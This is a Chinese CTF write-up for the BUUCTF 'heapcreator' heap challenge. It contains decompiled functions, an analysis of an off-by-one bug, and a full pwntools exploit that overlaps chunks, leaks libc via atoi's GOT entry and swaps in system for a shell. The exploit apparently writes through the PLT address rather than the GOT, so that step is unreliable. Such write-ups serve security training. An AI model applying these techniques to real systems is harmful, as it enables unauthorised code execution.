hitcontraining heapcreator

# hitcontraining heapcreator

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/hitcontraining_heapcreator/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

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# 静态分析

主函数如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char option; // [rsp+0h] [rbp-10h]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &option, 4uLL);
    switch ( atoi(&option) )
    {
      case 1:
        create_heap();
        break;
      case 2:
        edit_heap();
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
        return;
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

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menu函数如下：

int menu()
{
  puts("--------------------------------");
  puts("          Heap Creator          ");
  puts("--------------------------------");
  puts(" 1. Create a Heap               ");
  puts(" 2. Edit a Heap                 ");
  puts(" 3. Show a Heap                 ");
  puts(" 4. Delete a Heap               ");
  puts(" 5. Exit                        ");
  puts("--------------------------------");
  return printf("Your choice :");
}

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create_heap函数如下：

unsigned __int64 create_heap()
{
  heap *v0; // rbx
  signed int index; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( index = 0; index <= 9; ++index )
  {
    if ( !heaparray[index] )
    {
      heaparray[index] = malloc(0x10uLL);
      if ( !heaparray[index] )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      v0 = heaparray[index];
      v0->content = malloc(size);
      if ( !heaparray[index]->content )
      {
        puts("Allocate Error");
        exit(2);
      }
      heaparray[index]->size = size;
      printf("Content of heap:", &buf);
      read_input(heaparray[index]->content, size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

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edit_heap函数如下：

unsigned __int64 edit_heap()
{
  int index; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  index = atoi(&buf);
  if ( index < 0 || index > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[index] )
  {
    printf("Content of heap : ", &buf);
    read_input((void *)heaparray[index]->content, heaparray[index]->size + 1);// off-by-one
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

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show_heap函数如下：

unsigned __int64 show_heap()
{
  int index; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  index = atoi(&buf);
  if ( index < 0 || index > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[index] )
  {
    printf("Size : %ld\nContent : %s\n", heaparray[index]->size, heaparray[index]->content);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

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delete_heap函数如下：

unsigned __int64 delete_heap()
{
  int index; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  index = atoi(&buf);
  if ( index < 0 || index > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[index] )
  {
    free(heaparray[index]->content);
    free(heaparray[index]);
    heaparray[index] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

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read_input函数如下：

ssize_t __fastcall read_input(void *a1, size_t a2)
{
  ssize_t result; // rax

  result = read(0, a1, a2);
  if ( (signed int)result <= 0 )
  {
    puts("Error");
    _exit(-1);
  }
  return result;
}

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# 思路分析

目前信息：
- edit_heap函数存在off-by-one
- Partial RELRO
- Canary found
- NX enabled
- No PIE
思路
- 先调用create_heap函数3次创建6个大小都为0x20的堆块，再利用off-by-one修改下一个堆块的size域，并将其释放，再重新申请回来后，与其下一个堆块重叠，修改重叠部分中指向content的指针为atoi的got表地址，利用show函数泄漏libc，再覆盖atoi的plt为system地址，最后传入sh即可获得shell

# exp

from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/hitcontraining_heapcreator/heapcreator'
io = remote('node4.buuoj.cn', 26163)
# io = process(pwnfile)

def Create(io, size, content):
    io.sendlineafter("Your choice :", '1')
    io.sendlineafter("Size of Heap : ", str(size))
    io.sendlineafter("Content of heap:", content)

def Edit(io, index, content):
    io.sendlineafter("Your choice :", '2')
    io.sendlineafter("Index :", str(index))
    io.sendlineafter("Content of heap : ", content)

def Show(io, index):
    io.sendlineafter("Your choice :", '3')
    io.sendlineafter("Index :", str(index))


def Delete(io, index):
    io.sendlineafter('Your choice :', '4')
    io.sendlineafter('Index :', str(index))


Create(io, 0x18, 'aaaa')  # 0
Create(io, 0x10, 'bbbb')  # 1
Create(io, 0x10, 'cccc')  # 2
# off-by-one修改下一个chunk的size
Edit(io, 0, flat(['a'*0x18, 0x81]))
Delete(io, 1)
elf = ELF(pwnfile)
atoi_got = elf.got['atoi']
atoi_plt = elf.plt['atoi']
# 释放后再申请回来的堆块与下一个堆块重叠，修改下一个堆块的指针泄漏libc
Create(io, 0x70, flat([cyclic(0x20), 0x8, atoi_got]))  # 0
Show(io, 1)
leak_atoi = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success("leak_atoi:"+hex(leak_atoi))
libc = LibcSearcher('atoi', leak_atoi)
libc_base = leak_atoi-libc.dump('atoi')
system = libc_base+libc.dump('system')
Edit(io, 0, flat([cyclic(0x20), 0x8, atoi_plt]))
Edit(io, 1, flat([system]))
io.send('sh\x00')
io.interactive()

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#buuctf #pwn #heap

上次更新: 2022/08/15, 00:29:49

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